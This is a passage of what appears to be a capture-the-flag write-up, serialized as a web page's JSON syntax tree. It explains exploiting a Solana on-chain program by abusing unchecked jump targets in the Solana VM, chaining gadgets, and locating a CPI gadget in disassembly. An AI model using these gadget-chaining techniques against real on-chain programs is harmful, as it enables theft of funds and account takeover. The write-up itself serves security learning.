:29,"value":1069},{"type":24,"tag":271,"props":51460,"children":51461},{"class":273,"line":3263},[51462],{"type":24,"tag":271,"props":51463,"children":51464},{"emptyLinePlaceholder":16},[51465],{"type":29,"value":327},{"type":24,"tag":271,"props":51467,"children":51468},{"class":273,"line":3293},[51469],{"type":24,"tag":271,"props":51470,"children":51471},{"style":2058},[51472],{"type":29,"value":51473}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":24,"tag":271,"props":51475,"children":51476},{"class":273,"line":3301},[51477,51482,51486,51490,51494,51498,51502,51506,51510,51514,51518,51523,51527,51531,51536,51540,51544,51549],{"type":24,"tag":271,"props":51478,"children":51479},{"style":630},[51480],{"type":29,"value":51481}," flag_pda_ai",{"type":24,"tag":271,"props":51483,"children":51484},{"style":624},[51485],{"type":29,"value":41},{"type":24,"tag":271,"props":51487,"children":51488},{"style":598},[51489],{"type":29,"value":21574},{"type":24,"tag":271,"props":51491,"children":51492},{"style":288},[51493],{"type":29,"value":21579},{"type":24,"tag":271,"props":51495,"children":51496},{"style":624},[51497],{"type":29,"value":10887},{"type":24,"tag":271,"props":51499,"children":51500},{"style":288},[51501],{"type":29,"value":4520},{"type":24,"tag":271,"props":51503,"children":51504},{"style":624},[51505],{"type":29,"value":10787},{"type":24,"tag":271,"props":51507,"children":51508},{"style":477},[51509],{"type":29,"value":7670},{"type":24,"tag":271,"props":51511,"children":51512},{"style":288},[51513],{"type":29,"value":23108},{"type":24,"tag":271,"props":51515,"children":51516},{"style":624},[51517],{"type":29,"value":41},{"type":24,"tag":271,"props":51519,"children":51520},{"style":598},[51521],{"type":29,"value":51522},"copy_from_slice",{"type":24,"tag":271,"props":51524,"children":51525},{"style":288},[51526],{"type":29,"value":606},{"type":24,"tag":271,"props":51528,"children":51529},{"style":624},[51530],{"type":29,"value":1137},{"type":24,"tag":271,"props":51532,"children":51533},{"style":477},[51534],{"type":29,"value":51535},"0x4337",{"type":24,"tag":271,"props":51537,"children":51538},{"style":3887},[51539],{"type":29,"value":15757},{"type":24,"tag":271,"props":51541,"children":51542},{"style":624},[51543],{"type":29,"value":41},{"type":24,"tag":271,"props":51545,"children":51546},{"style":598},[51547],{"type":29,"value":51548},"to_le_bytes",{"type":24,"tag":271,"props":51550,"children":51551},{"style":288},[51552],{"type":29,"value":23122},{"type":24,"tag":271,"props":51554,"children":51555},{"class":273,"line":3683},[51556],{"type":24,"tag":271,"props":51557,"children":51558},{"emptyLinePlaceholder":16},[51559],{"type":29,"value":327},{"type":24,"tag":271,"props":51561,"children":51562},{"class":273,"line":4486},[51563,51567],{"type":24,"tag":271,"props":51564,"children":51565},{"style":3887},[51566],{"type":29,"value":22031},{"type":24,"tag":271,"props":51568,"children":51569},{"style":288},[51570],{"type":29,"value":22036},{"type":24,"tag":271,"props":51572,"children":51573},{"class":273,"line":4509},[51574],{"type":24,"tag":271,"props":51575,"children":51576},{"style":288},[51577],{"type":29,"value":1171},{"type":24,"tag":25,"props":51579,"children":51580},{},[51581],{"type":29,"value":51582},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":24,"tag":25,"props":51584,"children":51585},{},[51586],{"type":24,"tag":74,"props":51587,"children":51590},{"alt":51588,"src":51589},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":24,"tag":25,"props":51592,"children":51593},{},[51594],{"type":29,"value":51595},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":24,"tag":62,"props":51597,"children":51599},{"id":51598},"solution-implementation",[51600],{"type":29,"value":51601},"Solution Implementation",{"type":24,"tag":25,"props":51603,"children":51604},{},[51605,51607,51612],{"type":29,"value":51606},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":24,"tag":135,"props":51608,"children":51610},{"className":51609},[],[51611],{"type":29,"value":43349},{"type":29,"value":51613}," invocations:",{"type":24,"tag":261,"props":51615,"children":51619},{"className":51616,"code":51617,"language":51618,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[51620],{"type":24,"tag":135,"props":51621,"children":51622},{"__ignoreMap":7},[51623,51631,51639,51647,51655,51663,51671],{"type":24,"tag":271,"props":51624,"children":51625},{"class":273,"line":274},[51626],{"type":24,"tag":271,"props":51627,"children":51628},{},[51629],{"type":29,"value":51630},"graph LR\n",{"type":24,"tag":271,"props":51632,"children":51633},{"class":273,"line":284},[51634],{"type":24,"tag":271,"props":51635,"children":51636},{},[51637],{"type":29,"value":51638}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":24,"tag":271,"props":51640,"children":51641},{"class":273,"line":294},[51642],{"type":24,"tag":271,"props":51643,"children":51644},{},[51645],{"type":29,"value":51646}," B --> C[2: process]\n",{"type":24,"tag":271,"props":51648,"children":51649},{"class":273,"line":303},[51650],{"type":24,"tag":271,"props":51651,"children":51652},{},[51653],{"type":29,"value":51654}," C --> D[3: gadget1]\n",{"type":24,"tag":271,"props":51656,"children":51657},{"class":273,"line":312},[51658],{"type":24,"tag":271,"props":51659,"children":51660},{},[51661],{"type":29,"value":51662}," C --> E[3: process]\n",{"type":24,"tag":271,"props":51664,"children":51665},{"class":273,"line":321},[51666],{"type":24,"tag":271,"props":51667,"children":51668},{},[51669],{"type":29,"value":51670}," E --> F[4: gadget2]\n",{"type":24,"tag":271,"props":51672,"children":51673},{"class":273,"line":330},[51674],{"type":24,"tag":271,"props":51675,"children":51676},{},[51677],{"type":29,"value":51678}," E --> G[...]\n",{"type":24,"tag":25,"props":51680,"children":51681},{},[51682],{"type":29,"value":51683},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":24,"tag":25,"props":51685,"children":51686},{},[51687,51689,51695],{"type":29,"value":51688},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":24,"tag":32,"props":51690,"children":51692},{"href":48153,"rel":51691},[36],[51693],{"type":29,"value":51694},"Binary Ninja",{"type":29,"value":51696}," to find a suitable gadget for this.",{"type":24,"tag":25,"props":51698,"children":51699},{},[51700,51702,51709],{"type":29,"value":51701},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":24,"tag":32,"props":51703,"children":51706},{"href":51704,"rel":51705},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[36],[51707],{"type":29,"value":51708},"skip the strip pass",{"type":29,"value":41},{"type":24,"tag":85,"props":51711,"children":51713},{"id":51712},"cpi-gadget",[51714],{"type":29,"value":51715},"CPI Gadget",{"type":24,"tag":25,"props":51717,"children":51718},{},[51719,51721,51726,51728,51735,51737,51743],{"type":29,"value":51720},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":24,"tag":135,"props":51722,"children":51724},{"className":51723},[],[51725],{"type":29,"value":45964},{"type":29,"value":51727}," function. This function calls into the solana sdk's function ",{"type":24,"tag":32,"props":51729,"children":51732},{"href":51730,"rel":51731},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[36],[51733],{"type":29,"value":51734},"invoke_signed_unchecked",{"type":29,"value":51736},", yielding a powerful gadget at the address ",{"type":24,"tag":135,"props":51738,"children":51740},{"className":51739},[],[51741],{"type":29,"value":51742},"0x100001ba8",{"type":29,"value":41},{"type":24,"tag":261,"props":51745,"children":51747},{"className":10718,"code":51746,"language":10717,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit {__return_addr}\n",[51748],{"type":24,"tag":135,"props":51749,"children":51750},{"__ignoreMap":7},[51751,51776,51832,51883,51935,51987,52010,52058,52065,52097,52148,52206,52240,52247,52296,52326,52401,52408,52459,52505,52512,52543,52594,52624,52646,52653,52704,52749,52756,52807,52835,52856,52863],{"type":24,"tag":271,"props":51752,"children":51753},{"class":273,"line":274},[51754,51758,51762,51767,51771],{"type":24,"tag":271,"props":51755,"children":51756},{"style":288},[51757],{"type":29,"value":21354},{"type":24,"tag":271,"props":51759,"children":51760},{"style":624},[51761],{"type":29,"value":11207},{"type":24,"tag":271,"props":51763,"children":51764},{"style":288},[51765],{"type":29,"value":51766},"program",{"type":24,"tag":271,"props":51768,"children":51769},{"style":624},[51770],{"type":29,"value":11207},{"type":24,"tag":271,"props":51772,"children":51773},{"style":630},[51774],{"type":29,"value":51775},"invoke_signed_unchecked\n",{"type":24,"tag":271,"props":51777,"children":51778},{"class":273,"line":284},[51779,51784,51789,51794,51799,51804,51809,51813,51818,51823,51828],{"type":24,"tag":271,"props":51780,"children":51781},{"style":630},[51782],{"type":29,"value":51783},"100001ba8",{"type":24,"tag":271,"props":51785,"children":51786},{"style":630},[51787],{"type":29,"value":51788}," 79a278ff00000000",{"type":24,"tag":271,"props":51790,"children":51791},{"style":630},[51792],{"type":29,"value":51793}," ldxdw",{"type":24,"tag":271,"props":51795,"children":51796},{"style":630},[51797],{"type":29,"value":51798}," r2",{"type":24,"tag":271,"props":51800,"children":51801},{"style":288},[51802],{"type":29,"value":51803},", [",{"type":24,"tag":271,"props":51805,"children":51806},{"style":630},[51807],{"type":29,"value":51808},"r10",{"type":24,"tag":271,"props":51810,"children":51811},{"style":624},[51812],{"type":29,"value":9821},{"type":24,"tag":271,"props":51814,"children":51815},{"style":477},[51816],{"type":29,"value":51817},"136",{"type":24,"tag":271,"props":51819,"children":51820},{"style":288},[51821],{"type":29,"value":51822},"] {",{"type":24,"tag":271,"props":51824,"children":51825},{"style":630},[51826],{"type":29,"value":51827},"var_88",{"type":24,"tag":271,"props":51829,"children":51830},{"style":288},[51831],{"type":29,"value":1171},{"type":24,"tag":271,"props":51833,"children":51834},{"class":273,"line":294},[51835,51840,51845,51849,51854,51858,51862,51866,51870,51874,51879],{"type":24,"tag":271,"props":51836,"children":51837},{"style":630},[51838],{"type":29,"value":51839},"100001bb0",{"type":24,"tag":271,"props":51841,"children":51842},{"style":630},[51843],{"type":29,"value":51844}," 79a380ff00000000",{"type":24,"tag":271,"props":51846,"children":51847},{"style":630},[51848],{"type":29,"value":51793},{"type":24,"tag":271,"props":51850,"children":51851},{"style":630},[51852],{"type":29,"value":51853}," r3",{"type":24,"tag":271,"props":51855,"children":51856},{"style":288},[51857],{"type":29,"value":51803},{"type":24,"tag":271,"props":51859,"children":51860},{"style":630},[51861],{"type":29,"value":51808},{"type":24,"tag":271,"props":51863,"children":51864},{"style":624},[51865],{"type":29,"value":9821},{"type":24,"tag":271,"props":51867,"children":51868},{"style":477},[51869],{"type":29,"value":37522},{"type":24,"tag":271,"props":51871,"children":51872},{"style":288},[51873],{"type":29,"value":51822},{"type":24,"tag":271,"props":51875,"children":51876},{"style":630},[51877],{"type":29,"value":51878},"var_80",{"type":24,"tag":271,"props":51880,"children":51881},{"style":288},[51882],{"type":29,"value":1171},{"type":24,"tag":271,"props":51884,"children":51885},{"class":273,"line":303},[51886,51891,51896,51900,51905,51909,51913,51917,51922,51926,51931],{"type":24,"tag":271,"props":51887,"children":51888},{"style":630},[51889],{"type":29,"value":51890},"100001bb8",{"type":24,"tag":271,"props":51892,"children":51893},{"style":630},[51894],{"type":29,"value":51895}," 79a468ff00000000",{"type":24,"tag":271,"props":51897,"children":51898},{"style":630},[51899],{"type":29,"value":51793},{"type":24,"tag":271,"props":51901,"children":51902},{"style":630},[51903],{"type":29,"value":51904}," r4",{"type":24,"tag":271,"props":51906,"children":51907},{"style":288},[51908],{"type":29,"value":51803},{"type":24,"tag":271,"props":51910,"children":51911},{"style":630},[51912],{"type":29,"value":51808},{"type":24,"tag":271,"props":51914,"children":51915},{"style":624},[51916],{"type":29,"value":9821},{"type":24,"tag":271,"props":51918,"children":51919},{"style":477},[51920],{"type":29,"value":51921},"152",{"type":24,"tag":271,"props":51923,"children":51924},{"style":288},[51925],{"type":29,"value":51822},{"type":24,"tag":271,"props":51927,"children":51928},{"style":630},[51929],{"type":29,"value":51930},"var_98",{"type":24,"tag":271,"props":51932,"children":51933},{"style":288},[51934],{"type":29,"value":1171},{"type":24,"tag":271,"props":51936,"children":51937},{"class":273,"line":312},[51938,51943,51948,51952,51957,51961,51965,51969,51974,51978,51983],{"type":24,"tag":271,"props":51939,"children":51940},{"style":630},[51941],{"type":29,"value":51942},"100001bc0",{"type":24,"tag":271,"props":51944,"children":51945},{"style":630},[51946],{"type":29,"value":51947}," 79a570ff00000000",{"type":24,"tag":271,"props":51949,"children":51950},{"style":630},[51951],{"type":29,"value":51793},{"type":24,"tag":271,"props":51953,"children":51954},{"style":630},[51955],{"type":29,"value":51956}," r5",{"type":24,"tag":271,"props":51958,"children":51959},{"style":288},[51960],{"type":29,"value":51803},{"type":24,"tag":271,"props":51962,"children":51963},{"style":630},[51964],{"type":29,"value":51808},{"type":24,"tag":271,"props":51966,"children":51967},{"style":624},[51968],{"type":29,"value":9821},{"type":24,"tag":271,"props":51970,"children":51971},{"style":477},[51972],{"type":29,"value":51973},"144",{"type":24,"tag":271,"props":51975,"children":51976},{"style":288},[51977],{"type":29,"value":51822},{"type":24,"tag":271,"props":51979,"children":51980},{"style":630},[51981],{"type":29,"value":51982},"var_90",{"type":24,"tag":271,"props":51984,"children":51985},{"style":288},[51986],{"type":29,"value":1171},{"type":24,"tag":271,"props":51988,"children":51989},{"class":273,"line":321},[51990,51995,52000,52005],{"type":24,"tag":271,"props":51991,"children":51992},{"style":630},[51993],{"type":29,"value":51994},"100001bc8",{"type":24,"tag":271,"props":51996,"children":51997},{"style":477},[51998],{"type":29,"value":51999}," 8520000020100000",{"type":24,"tag":271,"props":52001,"children":52002},{"style":630},[52003],{"type":29,"value":52004}," call",{"type":24,"tag":271,"props":52006,"children":52007},{"style":630},[52008],{"type":29,"value":52009}," sol_invoke_signed_rust\n",{"type":24,"tag":271,"props":52011,"children":52012},{"class":273,"line":330},[52013,52018,52023,52028,52032,52036,52040,52044,52049,52053],{"type":24,"tag":271,"props":52014,"children":52015},{"style":630},[52016],{"type":29,"value":52017},"100001bd0",{"type":24,"tag":271,"props":52019,"children":52020},{"style":477},[52021],{"type":29,"value":52022}," 5500040000000000",{"type":24,"tag":271,"props":52024,"children":52025},{"style":630},[52026],{"type":29,"value":52027}," jne",{"type":24,"tag":271,"props":52029,"children":52030},{"style":288},[52031],{"type":29,"value":16432},{"type":24,"tag":271,"props":52033,"children":52034},{"style":624},[52035],{"type":29,"value":1012},{"type":24,"tag":271,"props":52037,"children":52038},{"style":477},[52039],{"type":29,"value":3365},{"type":24,"tag":271,"props":52041,"children":52042},{"style":288},[52043],{"type":29,"value":13537},{"type":24,"tag":271,"props":52045,"children":52046},{"style":630},[52047],{"type":29,"value":52048},"r0",{"type":24,"tag":271,"props":52050,"children":52051},{"style":288},[52052],{"type":29,"value":158},{"type":24,"tag":271,"props":52054,"children":52055},{"style":477},[52056],{"type":29,"value":52057},"0x0\n",{"type":24,"tag":271,"props":52059,"children":52060},{"class":273,"line":339},[52061],{"type":24,"tag":271,"props":52062,"children":52063},{"emptyLinePlaceholder":16},[52064],{"type":29,"value":327},{"type":24,"tag":271,"props":52066,"children":52067},{"class":273,"line":347},[52068,52073,52078,52083,52088,52092],{"type":24,"tag":271,"props":52069,"children":52070},{"style":630},[52071],{"type":29,"value":52072},"100001bd8",{"type":24,"tag":271,"props":52074,"children":52075},{"style":630},[52076],{"type":29,"value":52077}," b701000018000000",{"type":24,"tag":271,"props":52079,"children":52080},{"style":630},[52081],{"type":29,"value":52082}," mov",{"type":24,"tag":271,"props":52084,"children":52085},{"style":630},[52086],{"type":29,"value":52087}," r1",{"type":24,"tag":271,"props":52089,"children":52090},{"style":288},[52091],{"type":29,"value":158},{"type":24,"tag":271,"props":52093,"children":52094},{"style":477},[52095],{"type":29,"value":52096},"0x18\n",{"type":24,"tag":271,"props":52098,"children":52099},{"class":273,"line":356},[52100,52105,52110,52114,52118,52122,52126,52130,52135,52139,52144],{"type":24,"tag":271,"props":52101,"children":52102},{"style":630},[52103],{"type":29,"value":52104},"100001be0",{"type":24,"tag":271,"props":52106,"children":52107},{"style":630},[52108],{"type":29,"value":52109}," 79a288ff00000000",{"type":24,"tag":271,"props":52111,"children":52112},{"style":630},[52113],{"type":29,"value":51793},{"type":24,"tag":271,"props":52115,"children":52116},{"style":630},[52117],{"type":29,"value":51798},{"type":24,"tag":271,"props":52119,"children":52120},{"style":288},[52121],{"type":29,"value":51803},{"type":24,"tag":271,"props":52123,"children":52124},{"style":630},[52125],{"type":29,"value":51808},{"type":24,"tag":271,"props":52127,"children":52128},{"style":624},[52129],{"type":29,"value":9821},{"type":24,"tag":271,"props":52131,"children":52132},{"style":477},[52133],{"type":29,"value":52134},"120",{"type":24,"tag":271,"props":52136,"children":52137},{"style":288},[52138],{"type":29,"value":51822},{"type":24,"tag":271,"props":52140,"children":52141},{"style":630},[52142],{"type":29,"value":52143},"var_78",{"type":24,"tag":271,"props":52145,"children":52146},{"style":288},[52147],{"type":29,"value":1171},{"type":24,"tag":271,"props":52149,"children":52150},{"class":273,"line":365},[52151,52156,52161,52166,52170,52175,52179,52183,52187,52192,52197,52202],{"type":24,"tag":271,"props":52152,"children":52153},{"style":630},[52154],{"type":29,"value":52155},"100001be8",{"type":24,"tag":271,"props":52157,"children":52158},{"style":477},[52159],{"type":29,"value":52160}," 6312000000000000",{"type":24,"tag":271,"props":52162,"children":52163},{"style":630},[52164],{"type":29,"value":52165}," stxw",{"type":24,"tag":271,"props":52167,"children":52168},{"style":288},[52169],{"type":29,"value":30718},{"type":24,"tag":271,"props":52171,"children":52172},{"style":630},[52173],{"type":29,"value":52174},"r2",{"type":24,"tag":271,"props":52176,"children":52177},{"style":624},[52178],{"type":29,"value":9821},{"type":24,"tag":271,"props":52180,"children":52181},{"style":477},[52182],{"type":29,"value":4121},{"type":24,"tag":271,"props":52184,"children":52185},{"style":288},[52186],{"type":29,"value":8505},{"type":24,"tag":271,"props":52188,"children":52189},{"style":630},[52190],{"type":29,"value":52191},"r1",{"type":24,"tag":271,"props":52193,"children":52194},{"style":288},[52195],{"type":29,"value":52196}," {",{"type":24,"tag":271,"props":52198,"children":52199},{"style":477},[52200],{"type":29,"value":52201},"0x18",{"type":24,"tag":271,"props":52203,"children":52204},{"style":288},[52205],{"type":29,"value":1171},{"type":24,"tag":271,"props":52207,"children":52208},{"class":273,"line":374},[52209,52214,52219,52224,52228,52232,52236],{"type":24,"tag":271,"props":52210,"children":52211},{"style":630},[52212],{"type":29,"value":52213},"100001bf0",{"type":24,"tag":271,"props":52215,"children":52216},{"style":477},[52217],{"type":29,"value":52218}," 0500030000000000",{"type":24,"tag":271,"props":52220,"children":52221},{"style":630},[52222],{"type":29,"value":52223}," ja",{"type":24,"tag":271,"props":52225,"children":52226},{"style":288},[52227],{"type":29,"value":16432},{"type":24,"tag":271,"props":52229,"children":52230},{"style":624},[52231],{"type":29,"value":1012},{"type":24,"tag":271,"props":52233,"children":52234},{"style":477},[52235],{"type":29,"value":4525},{"type":24,"tag":271,"props":52237,"children":52238},{"style":288},[52239],{"type":29,"value":13709},{"type":24,"tag":271,"props":52241,"children":52242},{"class":273,"line":384},[52243],{"type":24,"tag":271,"props":52244,"children":52245},{"emptyLinePlaceholder":16},[52246],{"type":29,"value":327},{"type":24,"tag":271,"props":52248,"children":52249},{"class":273,"line":393},[52250,52255,52260,52264,52268,52272,52276,52280,52284,52288,52292],{"type":24,"tag":271,"props":52251,"children":52252},{"style":630},[52253],{"type":29,"value":52254},"100001bf8",{"type":24,"tag":271,"props":52256,"children":52257},{"style":630},[52258],{"type":29,"value":52259}," 79a188ff00000000",{"type":24,"tag":271,"props":52261,"children":52262},{"style":630},[52263],{"type":29,"value":51793},{"type":24,"tag":271,"props":52265,"children":52266},{"style":630},[52267],{"type":29,"value":52087},{"type":24,"tag":271,"props":52269,"children":52270},{"style":288},[52271],{"type":29,"value":51803},{"type":24,"tag":271,"props":52273,"children":52274},{"style":630},[52275],{"type":29,"value":51808},{"type":24,"tag":271,"props":52277,"children":52278},{"style":624},[52279],{"type":29,"value":9821},{"type":24,"tag":271,"props":52281,"children":52282},{"style":477},[52283],{"type":29,"value":52134},{"type":24,"tag":271,"props":52285,"children":52286},{"style":288},[52287],{"type":29,"value":51822},{"type":24,"tag":271,"props":52289,"children":52290},{"style":630},[52291],{"type":29,"value":52143},{"type":24,"tag":271,"props":52293,"children":52294},{"style":288},[52295],{"type":29,"value":1171},{"type":24,"tag":271,"props":52297,"children":52298},{"class":273,"line":402},[52299,52304,52309,52313,52317,52321],{"type":24,"tag":271,"props":52300,"children":52301},{"style":630},[52302],{"type":29,"value":52303},"100001c00",{"type":24,"tag":271,"props":52305,"children":52306},{"style":630},[52307],{"type":29,"value":52308}," bf02000000000000",{"type":24,"tag":271,"props":52310,"children":52311},{"style":630},[52312],{"type":29,"value":52082},{"type":24,"tag":271,"props":52314,"children":52315},{"style":630},[52316],{"type":29,"value":51798},{"type":24,"tag":271,"props":52318,"children":52319},{"style":288},[52320],{"type":29,"value":158},{"type":24,"tag":271,"props":52322,"children":52323},{"style":630},[52324],{"type":29,"value":52325},"r0\n",{"type":24,"tag":271,"props":52327,"children":52328},{"class":273,"line":411},[52329,52334,52339,52343,52348,52352,52357,52361,52365,52370,52374,52378,52383,52388,52392,52396],{"type":24,"tag":271,"props":52330,"children":52331},{"style":630},[52332],{"type":29,"value":52333},"100001c08",{"type":24,"tag":271,"props":52335,"children":52336},{"style":477},[52337],{"type":29,"value":52338}," 8510000075000000",{"type":24,"tag":271,"props":52340,"children":52341},{"style":630},[52342],{"type":29,"value":52004},{"type":24,"tag":271,"props":52344,"children":52345},{"style":3887},[52346],{"type":29,"value":52347}," _ZN94_",{"type":24,"tag":271,"props":52349,"children":52350},{"style":624},[52351],{"type":29,"value":17993},{"type":24,"tag":271,"props":52353,"children":52354},{"style":3887},[52355],{"type":29,"value":52356},"LT",{"type":24,"tag":271,"props":52358,"children":52359},{"style":624},[52360],{"type":29,"value":17993},{"type":24,"tag":271,"props":52362,"children":52363},{"style":630},[52364],{"type":29,"value":21354},{"type":24,"tag":271,"props":52366,"children":52367},{"style":624},[52368],{"type":29,"value":52369},"...$",{"type":24,"tag":271,"props":52371,"children":52372},{"style":630},[52373],{"type":29,"value":15757},{"type":24,"tag":271,"props":52375,"children":52376},{"style":624},[52377],{"type":29,"value":17993},{"type":24,"tag":271,"props":52379,"children":52380},{"style":3887},[52381],{"type":29,"value":52382},"GT",{"type":24,"tag":271,"props":52384,"children":52385},{"style":624},[52386],{"type":29,"value":52387},"$$",{"type":24,"tag":271,"props":52389,"children":52390},{"style":3887},[52391],{"type":29,"value":52382},{"type":24,"tag":271,"props":52393,"children":52394},{"style":624},[52395],{"type":29,"value":17993},{"type":24,"tag":271,"props":52397,"children":52398},{"style":288},[52399],{"type":29,"value":52400},"4from17ha0d289b72861b06dE\n",{"type":24,"tag":271,"props":52402,"children":52403},{"class":273,"line":420},[52404],{"type":24,"tag":271,"props":52405,"children":52406},{"emptyLinePlaceholder":16},[52407],{"type":29,"value":327},{"type":24,"tag":271,"props":52409,"children":52410},{"class":273,"line":429},[52411,52416,52421,52425,52429,52433,52437,52441,52446,52450,52455],{"type":24,"tag":271,"props":52412,"children":52413},{"style":630},[52414],{"type":29,"value":52415},"100001c10",{"type":24,"tag":271,"props":52417,"children":52418},{"style":630},[52419],{"type":29,"value":52420}," 79a2b8ff00000000",{"type":24,"tag":271,"props":52422,"children":52423},{"style":630},[52424],{"type":29,"value":51793},{"type":24,"tag":271,"props":52426,"children":52427},{"style":630},[52428],{"type":29,"value":51798},{"type":24,"tag":271,"props":52430,"children":52431},{"style":288},[52432],{"type":29,"value":51803},{"type":24,"tag":271,"props":52434,"children":52435},{"style":630},[52436],{"type":29,"value":51808},{"type":24,"tag":271,"props":52438,"children":52439},{"style":624},[52440],{"type":29,"value":9821},{"type":24,"tag":271,"props":52442,"children":52443},{"style":477},[52444],{"type":29,"value":52445},"72",{"type":24,"tag":271,"props":52447,"children":52448},{"style":288},[52449],{"type":29,"value":51822},{"type":24,"tag":271,"props":52451,"children":52452},{"style":630},[52453],{"type":29,"value":52454},"var_48",{"type":24,"tag":271,"props":52456,"children":52457},{"style":288},[52458],{"type":29,"value":1171},{"type":24,"tag":271,"props":52460,"children":52461},{"class":273,"line":438},[52462,52467,52472,52477,52481,52485,52489,52493,52497,52501],{"type":24,"tag":271,"props":52463,"children":52464},{"style":630},[52465],{"type":29,"value":52466},"100001c18",{"type":24,"tag":271,"props":52468,"children":52469},{"style":477},[52470],{"type":29,"value":52471}," 1502040000000000",{"type":24,"tag":271,"props":52473,"children":52474},{"style":630},[52475],{"type":29,"value":52476}," jeq",{"type":24,"tag":271,"props":52478,"children":52479},{"style":288},[52480],{"type":29,"value":16432},{"type":24,"tag":271,"props":52482,"children":52483},{"style":624},[52484],{"type":29,"value":1012},{"type":24,"tag":271,"props":52486,"children":52487},{"style":477},[52488],{"type":29,"value":3365},{"type":24,"tag":271,"props":52490,"children":52491},{"style":288},[52492],{"type":29,"value":13537},{"type":24,"tag":271,"props":52494,"children":52495},{"style":630},[52496],{"type":29,"value":52174},{"type":24,"tag":271,"props":52498,"children":52499},{"style":288},[52500],{"type":29,"value":158},{"type":24,"tag":271,"props":52502,"children":52503},{"style":477},[52504],{"type":29,"value":52057},{"type":24,"tag":271,"props":52506,"children":52507},{"class":273,"line":447},[52508],{"type":24,"tag":271,"props":52509,"children":52510},{"emptyLinePlaceholder":16},[52511],{"type":29,"value":327},{"type":24,"tag":271,"props":52513,"children":52514},{"class":273,"line":455},[52515,52520,52525,52530,52534,52538],{"type":24,"tag":271,"props":52516,"children":52517},{"style":630},[52518],{"type":29,"value":52519},"100001c20",{"type":24,"tag":271,"props":52521,"children":52522},{"style":477},[52523],{"type":29,"value":52524}," 2702000022000000",{"type":24,"tag":271,"props":52526,"children":52527},{"style":630},[52528],{"type":29,"value":52529}," mul",{"type":24,"tag":271,"props":52531,"children":52532},{"style":630},[52533],{"type":29,"value":51798},{"type":24,"tag":271,"props":52535,"children":52536},{"style":288},[52537],{"type":29,"value":158},{"type":24,"tag":271,"props":52539,"children":52540},{"style":477},[52541],{"type":29,"value":52542},"0x22\n",{"type":24,"tag":271,"props":52544,"children":52545},{"class":273,"line":464},[52546,52551,52556,52560,52564,52568,52572,52576,52581,52585,52590],{"type":24,"tag":271,"props":52547,"children":52548},{"style":630},[52549],{"type":29,"value":52550},"100001c28",{"type":24,"tag":271,"props":52552,"children":52553},{"style":630},[52554],{"type":29,"value":52555}," 79a1b0ff00000000",{"type":24,"tag":271,"props":52557,"children":52558},{"style":630},[52559],{"type":29,"value":51793},{"type":24,"tag":271,"props":52561,"children":52562},{"style":630},[52563],{"type":29,"value":52087},{"type":24,"tag":271,"props":52565,"children":52566},{"style":288},[52567],{"type":29,"value":51803},{"type":24,"tag":271,"props":52569,"children":52570},{"style":630},[52571],{"type":29,"value":51808},{"type":24,"tag":271,"props":52573,"children":52574},{"style":624},[52575],{"type":29,"value":9821},{"type":24,"tag":271,"props":52577,"children":52578},{"style":477},[52579],{"type":29,"value":52580},"80",{"type":24,"tag":271,"props":52582,"children":52583},{"style":288},[52584],{"type":29,"value":51822},{"type":24,"tag":271,"props":52586,"children":52587},{"style":630},[52588],{"type":29,"value":52589},"var_50",{"type":24,"tag":271,"props":52591,"children":52592},{"style":288},[52593],{"type":29,"value":1171},{"type":24,"tag":271,"props":52595,"children":52596},{"class":273,"line":473},[52597,52602,52607,52611,52615,52619],{"type":24,"tag":271,"props":52598,"children":52599},{"style":630},[52600],{"type":29,"value":52601},"100001c30",{"type":24,"tag":271,"props":52603,"children":52604},{"style":630},[52605],{"type":29,"value":52606}," 